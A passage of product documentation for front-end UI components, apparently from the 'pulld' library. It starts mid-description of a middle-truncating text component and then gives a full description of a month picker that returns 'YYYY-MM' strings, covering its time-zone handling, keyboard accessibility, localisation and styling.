pulld read-more, which expands a long passage the reader may want all of, from char-counter, which counts what is being typed rather than shortening what is shown, and from code-block, which wraps or scrolls rather than eliding. Pairs with copy-field and copy-button (the shortened key is the one you show, the full one is the one you copy), with upload-list and tree-view, whose rows are exactly these names. This measures the rendered text against the box it has to fit and binary-searches the cut point, so it fills the space exactly; it re-measures when the column resizes and again once web fonts have loaded, because a font swap changes every glyph width without changing the box. It cuts on grapheme boundaries using Intl.Segmenter, so an emoji, flag or accented letter landing on the cut does not become a replacement glyph the way a raw slice() would — which matters more here than elsewhere, since the cut point moves every time the container resizes. The full string stays in the DOM and only the visible copy is shortened: screen readers get the whole value instead of "0x4f2a ellipsis 91bc", find-in-page still matches it, and selecting the line copies the full text exactly once rather than the shortened form. Hovering shows the full value as a tooltip. It takes its width from its container — a flex row, a grid track, or a fixed width — and needs no min-w-0 to shrink; inside a shrink-to-fit parent there is nothing to fit to, so it simply renders in full. Zero npm dependencies, one file, and it inherits whatever type styles surround it rather than imposing its own.
A month picker: a year of twelve months as a grid, with arrows on the year, that hands back a plain "YYYY-MM" string — "2026-08" — and never a day or a time zone. Reach for it wherever the thing being chosen is the month itself: a billing or subscription cycle, the period on an invoice or a statement, a monthly report or export, the target month on an expense claim or a timesheet, payroll and accounting periods, budget and forecast months, a cohort in a retention table, the month a goal or OKR is scored in, "as of" month on a snapshot, the archive month on a blog or changelog, card expiry, and the period selector above an analytics dashboard, chart or ledger — usually paired as two of them for a from/to range. Common asks it answers: "month picker", "month year picker", "monthpicker react", "select a month component", "month and year select", "billing period picker", "monthly report period selector", "choose month for dashboard", "shadcn month picker", "shadcn calendar month only", "MUI DatePicker views month equivalent", "antd DatePicker picker=month equivalent", "react-datepicker showMonthYearPicker alternative", "YYYY-MM input". shadcn/ui has no month selection anywhere: its calendar is a react-day-picker wrapper that pulls in react-day-picker and date-fns and returns a Date for a day, and captionLayout="dropdown" adds month and year dropdowns for *moving* through that grid rather than for answering with a month; the Date Picker page is that same calendar inside a popover; select, native-select and combobox are empty controls that know nothing about months. Distinct from pulld date-input, which types a full date down to the day, and from pulld calendar-heatmap, which draws a year of days rather than choosing one of its months. The value is a calendar month rather than an instant, and the component holds that line: there is deliberately no Date accessor, because handing one back means having silently picked a day and a zone — the bug that starts a billing period on the last day of the previous month for everyone west of UTC. `toMonthValue(date)` reads local fields going in (the "toISOString().slice(0, 7)" one-liner is a month early for half the planet after 22:00), `parseMonthValue` gives back { year, month } and rejects anything that is not a bare month, and the strings sort and compare as they read. Month names come from `Intl.DateTimeFormat`, so the grid is already in the reader's language with zero dependencies — no date library, no icon package, one file. Both the locale and the "which month is now" marker are resolved after mount, so a server render and the browser's first paint agree instead of tripping a hydration mismatch, and passing `locale` skips the swap entirely. It is a real `role="grid"` with a roving tabindex — one tab stop for the whole year, then arrow keys inside it. Left and right step a month and cross into the neighbouring year at the edges rather than dead-ending in December, up and down move a row and follow the `columns` prop, Home and End go to January and December (rows here are a layout choice, not a calendar week), and PageUp/PageDown hold the month and walk the years. On an RTL page left and right follow the writing direction instead of running backwards. Every cell is named with the month spelled out and its year — "August 2026", localised — because "Aug" alone stops meaning anything once the arrows have moved, and the current month carries aria-current="date". `min` and `max` take the same "YYYY-MM" strings and stop the year arrows as well as the cells, `isMonthDisabled` handles scattered holes like closed accounting periods without locking the arrows, and unavailable months are marked with aria-disabled rather than disabled so they can still be reached and read instead of being invisibly skipped. Give it a `name` and it posts with a plain form or a server action through a hidden input. Uncontrolled, controlled, or controlled on the year alone; a value set from outside pulls the grid to that year so the selection is never off screen. Styled entirely with shadcn tokens (primary, accent, input, ring, muted-foreground), so it follows light and dark mode.